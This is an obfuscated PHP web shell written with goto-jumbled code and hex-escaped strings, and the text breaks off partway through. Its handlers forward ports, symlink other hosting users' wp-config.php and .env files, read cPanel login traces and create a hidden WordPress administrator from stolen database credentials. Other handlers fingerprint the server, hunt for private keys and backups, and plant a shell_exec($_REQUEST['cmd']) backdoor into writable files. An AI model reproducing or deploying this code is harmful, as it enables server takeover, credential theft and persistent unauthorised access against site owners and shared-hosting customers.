aZmjX: goto I0lMT; vO4MG: socket_set_nonblock($n0Lt7); goto W3mdp; HMUdp: eGyVy: goto muyzU; hqtDM: u3crd: goto y2Zk4; Tod_P: if (!($VXQxC <= 0 || $W5e6I <= 0 || empty($Mn4tp))) { goto bZUvW; } goto E0YmU; vRoo4: if (!($siOBH === false || $siOBH === '')) { goto eGyVy; } goto xMRC0; VuQqK: @socket_close($TUvmd); goto CfKAC; yRVTr: $Mn4tp = $_POST["\x74\x61\162\x67\145\x74\137\150\x6f\x73\x74"]; goto tg4c_; aJVev: goto Qox1A; goto GQz6X; E0YmU: $v1Pog["\155\x65\x73\x73\141\147\x65"] = "\111\x6e\x76\x61\154\151\x64\40\160\141\x72\141\155\x65\164\x65\162\163\40\x66\157\162\40\x70\x6f\162\164\x20\146\x6f\162\x77\141\162\144\x69\x6e\x67\x2e"; goto AKTcf; ZGAMm: @socket_close($SZHaV); goto Uz_1_; CvPw0: PB45j: goto fLov8; fdTgM: OB2yg: goto NX4AX; i0W3v: $cbUTK = null; goto BYSgj; orgZq: $v1Pog = ["\x73\164\141\x74\x75\x73" => "\163\x75\143\x63\x65\163\x73", "\155\145\163\x73\141\147\x65" => "\x50\x6f\x72\x74\40\x66\157\x72\167\141\162\x64\x65\162\x20\157\x6e\x20{$VXQxC}\x20\x66\x69\x6e\151\163\150\x65\x64\x20\151\164\163\40\143\157\x6e\156\145\x63\x74\x69\x6f\x6e\x2e"]; goto GtWfA; I0lMT: if (!in_array($TUvmd, $Fxsn7)) { goto OB2yg; } goto D5bna; aAjdb: if (!(!$n0Lt7 || !@socket_connect($n0Lt7, $Mn4tp, $W5e6I))) { goto KLFp3; } goto A_u5a; SiWEg: goto vbH70; goto SkGaY; Gi5Ak: case "\x73\171\x6d\154\151\x6e\x6b\137\143\x70\141\x6e\x65\154": goto Gg0fL; W13Tq: $AgHX4 = ["\x2f\150\157\155\145\57{$qhLRz}\57\160\165\x62\154\151\143\137\x68\164\155\154\x2f\x77\160\x2d\143\x6f\x6e\x66\x69\x67\56\x70\x68\160", "\57\150\157\155\145\57{$qhLRz}\57\160\165\142\x6c\x69\143\x5f\150\164\155\x6c\x2f\x63\157\x6e\x66\x69\147\165\162\x61\x74\x69\x6f\156\x2e\160\x68\160", "\x2f\x68\x6f\x6d\x65\x2f{$qhLRz}\x2f\160\x75\142\154\151\143\137\150\164\155\154\57\143\157\156\x66\151\x67\x2f\x73\x65\x74\164\x69\x6e\147\x73\x2e\151\x6e\143\56\x70\x68\160", "\x2f\150\157\x6d\x65\57{$qhLRz}\57\x70\x75\x62\154\x69\143\137\x68\x74\155\x6c\x2f\x73\151\164\x65\163\x2f\144\145\x66\x61\165\154\x74\x2f\x73\145\164\x74\x69\x6e\147\163\x2e\x70\x68\x70", "\x2f\x68\x6f\x6d\145\57{$qhLRz}\x2f\x70\x75\x62\x6c\x69\x63\x5f\150\x74\155\154\57\x2e\145\x6e\x76", "\x2f\x68\x6f\155\145\57{$qhLRz}\57\160\165\x62\154\x69\143\x5f\150\x74\x6d\x6c\57\141\x70\x70\x2f\145\x74\x63\x2f\154\x6f\x63\141\x6c\x2e\170\155\x6c"]; goto E_P2R; XqUYo: $YGPcu = dirname(__FILE__) . DIRECTORY_SEPARATOR . "\x73\x79\155\137\154\x69\x6e\x6b\163"; goto A_vb5; ansoz: qjNq2: goto JvMHl; vC37X: $v1Pog["\155\145\163\x73\141\x67\145"] = "\x55\x73\x65\x72\156\141\x6d\145\x20\x69\163\40\162\145\161\165\x69\162\145\144\56"; goto hERrI; qLN4A: if (!function_exists("\163\171\155\154\x69\156\153")) { $v1Pog["\x6d\145\x73\x73\x61\147\x65"] = "\163\171\155\154\x69\x6e\x6b\x28\x29\x20\146\165\156\x63\x74\x69\x6f\156\x20\x69\163\x20\144\151\163\x61\142\x6c\145\144\x2e"; goto vbH70; } goto XqUYo; NtyD5: @mkdir($YGPcu, 0755); goto Zz0TK; obgEQ: goto vbH70; goto ipVq5; rLJw8: $v1Pog["\x6d\145\x73\163\x61\147\145"] = "\103\141\x6e\x6e\x6f\x74\x20\x63\162\x65\x61\x74\x65\x20\x6f\x72\40\x77\x72\x69\164\145\x20\164\x6f\40\163\171\x6d\x6c\151\x6e\x6b\x20\x64\x69\162\145\x63\x74\x6f\x72\x79\x3a\x20" . htmlspecialchars($YGPcu); goto FWxzJ; WaZVr: if (!empty($qhLRz)) { goto KVjSM; } goto vC37X; FWxzJ: goto vbH70; goto k3LB7; hERrI: goto vbH70; goto vGEew; OKbd5: if (is_writable($YGPcu)) { goto eAO10; } goto rLJw8; JvMHl: $v1Pog = ["\x73\164\x61\x74\165\x73" => "\163\x75\143\x63\x65\x73\163", "\x72\145\163\x75\x6c\164\x73" => $gSi8X, "\x6d\x65\163\163\x61\147\x65" => "\123\x79\x6d\x6c\151\156\153\x20\160\x72\157\x63\145\163\163\x20\x63\x6f\155\x70\x6c\x65\x74\145\144\x2e\40\x43\150\x65\x63\x6b\x20\162\145\x73\x75\154\x74\x73\x20\142\x65\154\157\x77\56"]; goto obgEQ; E_P2R: foreach ($AgHX4 as $O0AQt) { goto yJcS4; lsdH0: hYrYp: goto fbR3I; Lt1Ai: @unlink($eN0SN); goto uyZLV; YUCLF: csuMT: goto lsdH0; uyZLV: if (!symlink($O0AQt, $eN0SN)) { goto csuMT; } goto Ao90V; Lvoe0: $gSi8X[] = ["\x74\141\162\x67\145\164" => $O0AQt, "\x6c\x69\156\x6b\137\x75\x72\154" => $gAGc0]; goto YUCLF; yJcS4: $Ncya3 = "\x75\163\x65\162\x5f" . $qhLRz . "\137" . md5($O0AQt) . "\x2e\x74\170\164"; goto d34wh; d34wh: $eN0SN = $YGPcu . "\x2f" . $Ncya3; goto Lt1Ai; Ao90V: $gAGc0 = (isset($_SERVER["\x48\124\124\x50\x53"]) && $_SERVER["\x48\124\x54\x50\123"] === "\157\156" ? "\x68\164\x74\160\163" : "\x68\164\164\160") . "\72\x2f\x2f{$_SERVER["\110\x54\x54\120\137\110\117\123\124"]}" . dirname($_SERVER["\x50\x48\x50\x5f\x53\x45\114\106"]) . "\x2f\163\x79\x6d\x5f\x6c\x69\156\153\163\57" . $Ncya3; goto Lvoe0; fbR3I: } goto ansoz; k3LB7: eAO10: goto omu2n; Zz0TK: Dkh4s: goto OKbd5; A_vb5: if (is_dir($YGPcu)) { goto Dkh4s; } goto NtyD5; vGEew: KVjSM: goto qLN4A; omu2n: $gSi8X = []; goto W13Tq; Gg0fL: $qhLRz = $_POST["\x75\x73\145\162"]; goto WaZVr; ipVq5: case "\x66\x69\156\144\x5f\x63\160\141\156\x65\x6c\137\143\162\x65\144\x73": goto M0Y6e; XretZ: goto vbH70; goto vxSWN; kpS5T: $BKvy0 .= htmlspecialchars(file_get_contents($qiUai)); goto KedxI; YD9Bc: $qiUai = "{$DXIyj}\57\56\x6c\141\x73\164\154\157\x67\151\156"; goto Tj9qz; FH0dB: if (!empty($DXIyj)) { goto AiXuC; } goto pPsWy; pPsWy: $v1Pog["\x6d\145\x73\163\141\x67\x65"] = "\x43\157\x75\x6c\144\x20\x6e\x6f\164\x20\x64\x65\164\x65\x72\155\x69\x6e\145\40\x68\x6f\x6d\145\x20\x64\x69\x72\x65\143\x74\x6f\162\171\56"; goto XretZ; fS6me: if (is_readable($qiUai)) { goto gOKOL; } goto Fw298; bnB6o: $BKvy0 .= "\x2d\x2d\x2d\x20\106\157\165\156\x64\x20{$qiUai}\40\x2d\55\55\xa"; goto kpS5T; QSs2r: gOKOL: goto bnB6o; AdEZM: $BKvy0 .= "\x48\x6f\x6d\145\40\x64\151\162\x65\x63\164\157\162\x79\72\40{$DXIyj}\xa\12"; goto fS6me; vxSWN: AiXuC: goto YD9Bc; yquNx: goto L_JF2; goto QSs2r; Tj9qz: $BKvy0 = "\x53\145\141\x72\143\x68\x69\x6e\x67\x20\x66\x6f\x72\40\143\120\x61\x6e\x65\154\x20\143\x72\145\144\145\x6e\164\151\x61\154\x73\40\146\x6f\x72\40\165\163\x65\x72\72\40{$qhLRz}\12"; goto AdEZM; DwXhE: L_JF2: goto BTZfC; BTZfC: $v1Pog = ["\163\x74\x61\164\x75\163" => "\163\x75\143\143\145\x73\163", "\x64\141\164\141" => $BKvy0]; goto ot1sl; M0Y6e: $qhLRz = get_current_user(); goto sKIg6; Fw298: $BKvy0 .= "{$qiUai}\x20\x6e\x6f\164\40\x66\157\165\x6e\144\40\x6f\x72\x20\x6e\157\164\x20\162\x65\x61\x64\x61\x62\x6c\145\56\12"; goto yquNx; KedxI: $BKvy0 .= "\12\x2d\x2d\x2d\55\x2d\55\55\55\55\x2d\55\55\55\55\55\55\55\55\55\55\55\55\55\55\55\55\12"; goto DwXhE; sKIg6: $DXIyj = $_SERVER["\110\x4f\115\x45"] ?? (function_exists("\160\157\163\x69\170\137\x67\145\164\x70\167\x75\151\144") ? posix_getpwuid(getmyuid())["\144\x69\162"] : ''); goto FH0dB; ot1sl: goto vbH70; goto yl9kk; yl9kk: case "\143\162\x65\141\164\x65\137\167\160\x5f\x75\163\x65\x72": goto ZXFiH; SWjzF: goto vbH70; goto U3geQ; ZXFiH: $p9nOH = realpath($_POST["\x63\x6f\x6e\146\x69\x67\137\x70\141\164\150"]); goto YN1qG; KRv4B: $wBZef = file_get_contents($p9nOH); goto nSYtl; Ov6_u: $CHFh3 = W0_Uy("\x44\x42\137\x50\101\x53\x53\127\117\x52\104", $wBZef); goto yv0PA; uaPfm: goto vbH70; goto F026g; G7Sgg: $hHZQa = qe79o($JHnly, "\x49\x4e\x53\x45\122\124\40\111\116\124\117\x20\x60{$Xi9YD}\165\x73\145\162\x73\140\x20\50\x75\163\x65\x72\x5f\x6c\x6f\147\x69\156\54\40\165\163\145\x72\x5f\160\141\x73\163\x2c\x20\165\x73\145\x72\x5f\156\x69\x63\x65\x6e\x61\x6d\x65\54\x20\x75\x73\x65\162\137\x65\155\141\151\x6c\54\x20\165\163\x65\162\x5f\162\145\x67\x69\163\164\145\x72\145\144\54\x20\165\163\x65\x72\137\163\x74\141\164\165\x73\x2c\x20\x64\x69\163\x70\x6c\141\171\137\x6e\141\155\145\x29\x20\x56\101\x4c\x55\x45\x53\x20\50\77\x2c\40\77\x2c\40\77\54\x20\77\54\x20\116\x4f\x57\x28\x29\54\x20\60\54\x20\x3f\x29"); goto MUcdA; J5kvo: Uaq6G: goto jZAHd; GV42I: kHAe3($zpwgr, "\151\163", $RGlK1, $eoRvs); goto SSfTt; UpEhJ: u3IRG($WSO6I); goto JogR_; JogR_: $v1Pog = ["\163\x74\141\x74\165\163" => "\x73\165\x63\143\145\163\x73", "\x6d\145\x73\163\x61\147\x65" => "\127\x6f\x72\144\x50\162\145\163\163\x20\141\144\155\151\156\40\165\163\145\162\40\x27{$eEnBU}\x27\x20\143\162\x65\x61\164\x65\144\x20\x73\x75\143\x63\145\163\163\x66\165\154\154\x79\41"]; goto Zyduv; oYmPj: $v1Pog["\x6d\x65\163\163\x61\147\145"] = "\125\163\145\162\40\x27{$eEnBU}\47\40\x6f\x72\x20\145\155\141\151\154\40\47{$YflJ4}\47\x20\141\x6c\162\x65\141\144\x79\x20\145\x78\151\x73\x74\x73\x2e"; goto BrkYQ; HbUca: w9o1l($hHZQa); goto NBp4b; TeGLY: $v1Pog["\155\x65\163\163\x61\147\x65"] = "\x41\x6c\x6c\40\146\151\x65\154\144\x73\40\x61\162\x65\x20\x72\x65\x71\165\151\162\145\x64\56"; goto rGkgQ; nSYtl: function w0_uy($dTrV6, $Lrz4Z) { goto MjZVk; AIBlE: return null; goto hYA7m; MjZVk: if (!preg_match("\57\x64\x65\x66\x69\x6e\x65\134\50\134\163\52\x5b\x27\42\135" . $dTrV6 . "\x5b\x27\42\x5d\134\x73\52\54\134\x73\52\x5b\47\42\135\50\x2e\x2a\x3f\x29\133\x27\x22\x5d\134\x73\52\x5c\51\x2f", $Lrz4Z, $I5WkF)) { goto INHx3; } goto gFUO4; QxJyn: INHx3: goto AIBlE; gFUO4: return $I5WkF[1]; goto QxJyn; hYA7m: } goto xQncM; Go7l0: goto Yb3wy; goto xLU7k; mUHb8: if ($JHnly) { goto Nnp3W; } goto EJrqv; VDK24: if (!(empty($p9nOH) || empty($eEnBU) || empty($Vag37) || empty($YflJ4))) { goto Uaq6G; } goto TeGLY; YN1qG: $eEnBU = trim($_POST["\x6e\x65\167\x5f\165\x73\145\x72"]); goto cJC51; SSfTt: U3IRG($zpwgr); goto Lt6KD; BIwQK: $v1Pog["\x6d\x65\x73\163\x61\x67\145"] = "\106\x61\x69\x6c\x65\x64\x20\x74\157\x20\160\x61\x72\163\x65\x20\144\x61\x74\x61\x62\141\x73\145\x20\143\162\145\144\145\x6e\164\151\x61\x6c\x73\x20\146\162\x6f\x6d\40\167\160\55\x63\157\x6e\x66\151\147\56\160\150\x70\x2e"; goto SWjzF; UdUm2: $hHZQa = Qe79o($JHnly, "\123\105\114\x45\x43\124\x20\111\x44\x20\x46\x52\x4f\x4d\x20\140{$Xi9YD}\x75\163\145\162\x73\x60\40\127\x48\105\122\x45\x20\165\x73\145\x72\137\x6c\157\x67\x69\x6e\40\x3d\40\x3f\x20\x4f\122\x20\x75\x73\x65\x72\x5f\x65\155\x61\x69\x6c\x20\75\x20\77"); goto QyWW3; wsVnm: if (u3iRg($hHZQa)) { goto QIkEL; } goto f5HJT; yv0PA: $l7bdt = w0_UY("\x44\x42\x5f\x48\117\123\124", $wBZef); goto u7SYU; Bm5lG: if (!(!$vkU4A || !$Ki5dg || !$CHFh3 || !$l7bdt)) { goto htrfJ; } goto BIwQK; QyWW3: KhaE3($hHZQa, "\163\163", $eEnBU, $YflJ4); goto P2wls; P2wls: u3iRg($hHZQa); goto mrsMW; EJrqv: $v1Pog["\155\x65\163\163\x61\147\145"] = "\104\141\x74\141\x62\141\163\145\40\x43\x6f\x6e\156\x65\143\x74\151\x6f\156\40\106\x61\151\154\x65\144\x3a\x20" . gx6Lt(); goto QNd5C; K9BCI: khae3($WSO6I, "\151", $RGlK1); goto UpEhJ; rGkgQ: goto vbH70; goto J5kvo; V5Ron: if (!function_exists("\x47\70\101\x55\101")) { $v1Pog["\155\x65\x73\163\141\x67\145"] = "\x4d\x79\123\x51\x4c\151\40\145\x78\164\145\x6e\163\151\157\x6e\40\151\163\40\x6e\x6f\164\x20\145\x6e\141\x62\x6c\145\x64\56"; goto vbH70; } goto KRv4B; xQncM: $vkU4A = W0_uY("\x44\102\137\116\x41\x4d\105", $wBZef); goto Y0vKk; xLU7k: QIkEL: goto duOZZ; wa7Wq: goto vbH70; goto L7k5L; F026g: dKAHR: goto HbUca; Lt6KD: $WSO6I = qe79o($JHnly, "\111\x4e\x53\105\x52\124\40\x49\x4e\x54\117\x20\140{$Xi9YD}\x75\x73\x65\x72\155\145\x74\x61\140\x20\50\165\x73\145\x72\x5f\151\x64\54\40\155\x65\164\141\137\153\x65\171\x2c\x20\x6d\x65\164\141\137\166\141\154\165\145\51\x20\x56\x41\x4c\x55\x45\123\x20\x28\77\54\40\47{$Xi9YD}\x75\x73\x65\162\x5f\154\145\166\x65\154\47\x2c\x20\47\x31\x30\47\x29"); goto K9BCI; BrkYQ: U8F22($JHnly); goto uaPfm; PiNYl: $v1Pog["\155\145\x73\163\x61\147\145"] = "\167\x70\x2d\x63\157\x6e\146\x69\147\56\160\x68\x70\x20\x6e\x6f\x74\40\x66\157\165\156\144\x20\x6f\162\40\x6e\157\x74\x20\x72\x65\x61\144\x61\142\154\145\x20\141\164\40\164\150\145\x20\163\160\x65\x63\151\146\151\x65\144\40\160\x61\164\150\x2e"; goto wa7Wq; mrsMW: YLBBa($hHZQa); goto J_3MM; NBp4b: $NPElf = md5($Vag37); goto G7Sgg; L7k5L: JHVtc: goto V5Ron; PT7Z4: tUlKS: goto Bm5lG; hQhxw: Nnp3W: goto UdUm2; cJC51: $Vag37 = trim($_POST["\x6e\145\x77\137\160\x61\163\x73"]); goto Q6yKn; jZAHd: if (!(!is_file($p9nOH) || !is_readable($p9nOH))) { goto JHVtc; } goto PiNYl; U3geQ: htrfJ: goto RbMvQ; JMw5n: $Xi9YD = $I5WkF[1]; goto PT7Z4; QNd5C: goto vbH70; goto hQhxw; cc_CL: goto vbH70; goto Hoglv; RbMvQ: $JHnly = @g8AUa($l7bdt, $Ki5dg, $CHFh3, $vkU4A); goto mUHb8; xHd2Z: $zpwgr = Qe79O($JHnly, "\111\116\123\x45\x52\x54\x20\x49\116\124\x4f\40\140{$Xi9YD}\x75\163\x65\162\155\145\x74\141\x60\x20\x28\x75\163\x65\162\x5f\151\x64\x2c\40\155\x65\164\x61\x5f\x6b\145\x79\x2c\x20\x6d\x65\x74\141\x5f\166\141\154\165\x65\51\40\126\101\114\x55\x45\123\40\x28\77\x2c\x20\x27{$Xi9YD}\143\141\160\141\142\151\154\151\164\151\145\163\x27\54\x20\x3f\x29"); goto GV42I; R2R3v: if (!preg_match("\x2f\134\44\164\x61\142\154\x65\137\160\162\x65\146\x69\x78\134\163\x2a\75\x5c\163\x2a\133\47\x22\x5d\50\x5b\141\55\172\x41\55\132\x30\55\71\x5f\x5d\52\51\x5b\x27\42\135\57", $wBZef, $I5WkF)) { goto tUlKS; } goto JMw5n; dG3pW: U8F22($JHnly); goto cc_CL; duOZZ: $RGlK1 = UuuHO($JHnly); goto uM_q1; J_3MM: if (!(be9TO($hHZQa) > 0)) { goto dKAHR; } goto oYmPj; uM_q1: $eoRvs = "\141\72\x31\72\173\163\72\61\x33\x3a\x22\x61\x64\155\151\x6e\x69\x73\164\x72\x61\164\157\x72\x22\x3b\142\72\61\73\x7d"; goto xHd2Z; Zyduv: Yb3wy: goto dG3pW; Y0vKk: $Ki5dg = w0_Uy("\x44\x42\137\125\x53\105\x52", $wBZef); goto Ov6_u; Q6yKn: $YflJ4 = trim($_POST["\156\x65\167\x5f\145\155\x61\151\154"]); goto VDK24; f5HJT: $v1Pog["\x6d\x65\163\163\141\x67\x65"] = "\106\x61\151\154\145\x64\x20\x74\157\x20\x69\x6e\x73\145\x72\164\x20\165\163\145\x72\40\151\x6e\x74\157\x20\x64\x61\164\x61\x62\141\163\x65\x3a\x20" . jVZ13($JHnly); goto Go7l0; u7SYU: $Xi9YD = "\167\x70\137"; goto R2R3v; MUcdA: KHaE3($hHZQa, "\x73\x73\163\163\x73", $eEnBU, $NPElf, $eEnBU, $YflJ4, $eEnBU); goto wsVnm; Hoglv: case "\x67\x65\x74\x5f\163\145\162\x76\145\x72\x5f\x66\151\156\147\x65\x72\160\162\x69\x6e\x74": goto vTLDr; GWvEg: $siOBH["\101\x70\x61\143\x68\145\40\x4d\x6f\144\165\154\x65\163"] = implode("\x2c\x20", FGFrz()); goto RBnp4; K5erT: $siOBH["\111\x6e\163\164\141\154\154\145\x64\40\120\x61\143\x6b\141\147\145\163\40\50\x59\x55\115\x29"] = ZmRP5("\171\165\x6d\40\154\x69\x73\164\40\151\x6e\163\164\141\x6c\x6c\145\144\x20\174\x20\150\x65\x61\x64\40\55\156\x20\x35\x30"); goto L11hm; FxWzp: $siOBH["\x52\x75\156\156\x69\x6e\x67\x20\123\145\x72\166\151\143\145\163\40\x28\114\151\x6e\165\170\51"] = zMRp5("\x73\171\x73\164\x65\155\x63\164\x6c\x20\x6c\151\x73\164\55\x75\156\151\x74\163\40\55\55\x74\171\160\145\x3d\163\145\x72\x76\151\143\x65\x20\x2d\x2d\x73\164\x61\164\x65\75\162\165\x6e\x6e\x69\156\147\40\62\76\x2f\x64\145\166\57\x6e\x75\x6c\154") ?: "\x43\x6f\165\154\x64\x20\156\x6f\x74\x20\147\x65\x74\x20\x73\x65\x72\x76\x69\x63\145\x73\x2e"; goto dndI7; W4rG3: $siOBH["\x49\156\x73\x74\x61\x6c\154\145\x64\40\120\x61\x63\x6b\141\147\145\163"] = "\120\x61\143\x6b\141\x67\x65\40\155\141\156\x61\x67\145\x72\40\50\x61\160\164\x2f\171\x75\x6d\x29\x20\x6e\x6f\164\x20\146\157\x75\156\x64\56"; goto p42zg; iejqW: goto iaden; goto BrWLE; vTLDr: $siOBH = []; goto iajWx; QkaFc: if (function_exists("\106\147\146\x52\172")) { goto sVuIV; } goto W4Jxx; W4Jxx: $siOBH["\101\x70\x61\143\150\145\40\115\x6f\144\x75\154\145\x73"] = "\x61\160\x61\x63\x68\145\137\147\x65\x74\137\155\x6f\x64\x75\x6c\145\x73\50\51\x20\x6e\x6f\164\x20\141\166\141\x69\x6c\141\x62\154\x65\56"; goto iejqW; DL1Uw: goto vbH70; goto PdEFw; RBnp4: iaden: goto FxWzp; L11hm: EMG8b: goto rklKi; Zig2H: goto EMG8b; goto O5MX5; fvL1s: $siOBH["\111\156\163\x74\x61\154\154\145\x64\x20\x50\141\143\x6b\141\147\145\163\x20\x28\x41\x50\124\x29"] = zmrp5("\144\x70\153\147\40\x2d\55\x67\x65\x74\x2d\x73\x65\x6c\x65\143\x74\x69\x6f\x6e\163\x20\174\x20\150\x65\141\x64\40\55\x6e\x20\65\x30"); goto Zig2H; rklKi: $v1Pog = ["\x73\x74\141\164\x75\x73" => "\163\x75\143\x63\145\163\163", "\x64\x61\x74\141" => $siOBH]; goto DL1Uw; SasuE: dbBS_: goto fvL1s; BrWLE: sVuIV: goto GWvEg; ah0f1: if (is_executable("\x2f\165\163\x72\x2f\142\151\156\57\171\165\x6d")) { goto TnlIh; } goto W4rG3; WG8ii: $siOBH["\x50\x48\x50\40\x45\170\164\145\x6e\163\x69\x6f\156\x73"] = implode("\x2c\x20", get_loaded_extensions()); goto QkaFc; dndI7: if (is_executable("\x2f\x75\163\x72\57\x62\151\156\x2f\144\x70\153\x67")) { goto dbBS_; } goto ah0f1; p42zg: goto EMG8b; goto SasuE; O5MX5: TnlIh: goto K5erT; iajWx: $siOBH["\117\123"] = php_uname(); goto WG8ii; PdEFw: case "\x66\x69\156\x64\x5f\163\x65\156\163\151\x74\x69\166\145\137\x66\151\x6c\x65\x73": goto wIEVD; l8TrY: $kyLhg = ["\x2a\56\163\x71\x6c", "\52\56\142\141\x6b", "\52\x2e\142\141\143\153\165\x70", "\52\x2e\172\151\160", "\52\x2e\164\x61\x72\56\x67\x7a", "\x2a\56\x70\145\155", "\151\144\x5f\x72\163\141\x2a", "\x2a\56\x70\61\62", "\52\x2e\x6b\145\171", "\x2e\52\x5f\x68\x69\163\164\x6f\x72\171", "\52\56\x63\x73\x76", "\52\x2e\170\154\x73", "\x2a\x2e\x78\x6c\163\170"]; goto GJ45l; wIEVD: $j3_hR = realpath($_POST["\x70\141\x74\x68"]); goto rwUuN; GJ45l: $gTXTO = "\146\151\156\144\40" . escapeshellarg($j3_hR) . "\x20\55\164\171\160\x65\x20\x66\40\134\x28\x20"; goto VTD08; H2cLd: $v1Pog["\155\x65\163\x73\x61\x67\145"] = "\111\156\x76\141\154\x69\x64\40\160\141\x74\x68\x2e"; goto hviFh; zqGah: uo0OE: goto joiT_; rwUuN: if ($j3_hR) { goto qZfnV; } goto H2cLd; nEeA_: $VG3IH = ZMrp5($jbe4m); goto PVToH; WiDQo: $jbe4m = "\x67\x72\x65\160\40\x2d\x72\40\55\111\40\55\154\40\55\x45\40\47\x5b\x61\55\x7a\x41\55\x5a\60\x2d\x39\56\x5f\x25\x2b\x2d\x5d\53\x40\x5b\141\55\172\101\x2d\132\60\x2d\71\56\55\135\53\134\x2e\133\x61\55\172\x41\55\132\135\x7b\x32\x2c\x36\x7d\47\x20" . escapeshellarg($j3_hR) . "\x20\x32\76\57\144\145\166\57\x6e\165\x6c\154"; goto K_pdj; wrz3f: goto vbH70; goto ouyKl; PVToH: $WcKfz = ZMrP5($OYBdi); goto JeOZv; VTD08: foreach ($kyLhg as $jY45d => $G6Mdr) { $gTXTO .= ($jY45d > 0 ? "\x20\x2d\x6f\40" : '') . "\x2d\151\x6e\x61\x6d\x65\40" . escapeshellarg($G6Mdr); Ggt_W: } goto zqGah; K_pdj: $OYBdi = "\x67\162\x65\x70\40\55\162\40\x2d\111\40\55\x6c\40\x2d\x45\x20\47\50\133\60\x2d\x39\135\x7b\x31\x2c\63\x7d\134\56\51\173\x33\175\133\60\55\x39\135\x7b\61\x2c\x33\175\x27\x20" . escapeshellarg($j3_hR) . "\x20\62\76\x2f\x64\x65\166\57\156\x75\154\154"; goto nEeA_; mOdBl: $PNhzx = Zmrp5($gTXTO); goto WiDQo; gAtSn: qZfnV: goto l8TrY; hviFh: goto vbH70; goto gAtSn; JeOZv: $v1Pog = ["\x73\164\x61\164\165\x73" => "\163\165\x63\x63\145\x73\x73", "\x64\x61\x74\x61" => ["\x42\171\x20\116\x61\x6d\x65" => htmlspecialchars($PNhzx ?: "\x4e\x6f\156\x65\40\146\x6f\x75\x6e\x64\56"), "\x43\157\156\164\x61\x69\x6e\x69\x6e\147\x20\x45\155\x61\x69\154\x73" => htmlspecialchars($VG3IH ?: "\x4e\x6f\x6e\145\40\146\157\x75\x6e\144\x2e"), "\x43\157\156\x74\141\151\x6e\151\156\147\x20\x49\x50\166\x34" => htmlspecialchars($WcKfz ?: "\116\157\156\145\x20\x66\x6f\x75\x6e\x64\56")]]; goto wrz3f; joiT_: $gTXTO .= "\x20\134\51\x20\55\154\163\40\x32\x3e\x2f\144\x65\166\x2f\156\x75\154\x6c"; goto mOdBl; ouyKl: case "\155\157\x6e\151\x74\x6f\x72\137\143\x68\141\x6e\147\x65\163": goto HIQsj; hkWpw: $SueqY = (int) $_POST["\144\x75\162\141\x74\x69\x6f\x6e"]; goto DRW6Q; euL79: $H4gBI = ICvUI($j3_hR); goto Qxeto; YUU_N: if (!($SueqY <= 0 || $SueqY > 300)) { goto U219g; } goto vES5F; IVNKW: $oVVLx = array_keys(array_intersect_key($H4gBI, $y1unv)); goto llHgc; vES5F: $SueqY = 30; goto PuIZh; WzUl_: goto vbH70; goto ndYmm; AUL3O: Skq0q: goto UXcIY; ndYmm: fm6Tk: goto YUU_N; PuIZh: U219g: goto euL79; rfaR1: $NMePb = ["\143\162\145\141\164\145\144" => array_keys(array_diff_key($y1unv, $H4gBI)), "\144\x65\154\145\164\x65\144" => array_keys(array_diff_key($H4gBI, $y1unv)), "\x6d\x6f\x64\151\146\151\145\x64" => []]; goto IVNKW; m6J8m: goto vbH70; goto anobL; Qxeto: sleep($SueqY); goto BAvDU; xv6pJ: $v1Pog["\155\145\163\x73\x61\147\145"] = "\x49\156\166\141\154\151\144\x20\x70\x61\164\x68\x2e"; goto WzUl_; llHgc: foreach ($oVVLx as $Q0s1i) { goto ZCe5X; iCVOL: qlQgI: goto quyMA; ZCe5X: if (!($H4gBI[$Q0s1i] !== $y1unv[$Q0s1i])) { goto ZZJJM; } goto hE7Og; NMwiR: ZZJJM: goto iCVOL; hE7Og: $NMePb["\x6d\x6f\144\151\x66\151\145\144"][] = $Q0s1i; goto NMwiR; quyMA: } goto AUL3O; DRW6Q: if ($j3_hR) { goto fm6Tk; } goto xv6pJ; BAvDU: $y1unv = icvUI($j3_hR); goto rfaR1; UXcIY: $v1Pog = ["\x73\164\x61\164\x75\x73" => "\163\165\143\x63\145\x73\x73", "\143\x68\x61\x6e\x67\145\163" => $NMePb]; goto m6J8m; HIQsj: $j3_hR = realpath($_POST["\160\x61\x74\150"]); goto hkWpw; anobL: case "\142\x61\143\153\x64\x6f\x6f\x72\137\x69\x6e\x73\164\x61\x6c\x6c\145\x72": goto p7fg9; tr_x4: if (!empty($H905Y)) { goto pQewB; } goto KLW6P; KLW6P: $v1Pog["\155\145\163\x73\141\x67\x65"] = "\x4e\x6f\40\164\x61\x72\x67\145\164\40\x66\x69\x6c\x65\163\x20\x73\x70\x65\x63\151\x66\151\145\144\56"; goto ZlB17; NieNI: foreach ($H905Y as $aQ_M_) { goto wJwGB; M9tkp: if (strpos($Lrz4Z, "\163\150\145\x6c\154\137\145\170\x65\x63\x28\44\137\x52\x45\x51\125\105\123\x54\133\42\x63\x6d\x64\x22\x5d\51") === false) { goto wTVjT; } goto u9mxG; dPmLu: if (@file_put_contents($aQ_M_, $Lrz4Z . PHP_EOL . $Pu9Mp)) { goto Nzjqv; } goto JMHC5; saFv1: goto uQgvG; goto jyoIL; WNXta: wTVjT: goto dPmLu; xdGgG: SO7vL: goto exrJA; exrJA: aN_rJ: goto IU33a; Yrj7j: goto aN_rJ; goto ClwC0; ClwC0: Obj4H: goto qhbU3; B3lZa: $gSi8X[$aQ_M_] = "\x4e\x6f\164\x20\x61\40\x66\x69\x6c\x65\40\157\x72\40\156\157\164\40\167\162\x69\x74\x61\142\x6c\145"; goto Yrj7j; IU33a: h14eY: goto vgvPo; VkdcY: uQgvG: goto xdGgG; wJwGB: if (is_file($aQ_M_) && is_writable($aQ_M_)) { goto Obj4H; } goto B3lZa; cnksI: $gSi8X[$aQ_M_] = "\x53\165\143\143\x65\x73\x73"; goto VkdcY; u9mxG: $gSi8X[$aQ_M_] = "\101\154\162\x65\141\144\x79\x20\151\x6e\146\145\143\x74\145\x64"; goto zDfii; qhbU3: $Lrz4Z = @file_get_contents($aQ_M_); goto M9tkp; JMHC5: $gSi8X[$aQ_M_] = "\106\x61\x69\x6c\x65\144\40\x74\x6f\x20\x77\162\151\x74\145"; goto saFv1; jyoIL: Nzjqv: goto cnksI; zDfii: goto SO7vL; goto WNXta; vgvPo: } goto Td4iL; ZlB17: goto vbH70; goto VMmGm; Td4iL: i99hn: goto CP8Ty; lkxP0: $Pu9Mp = 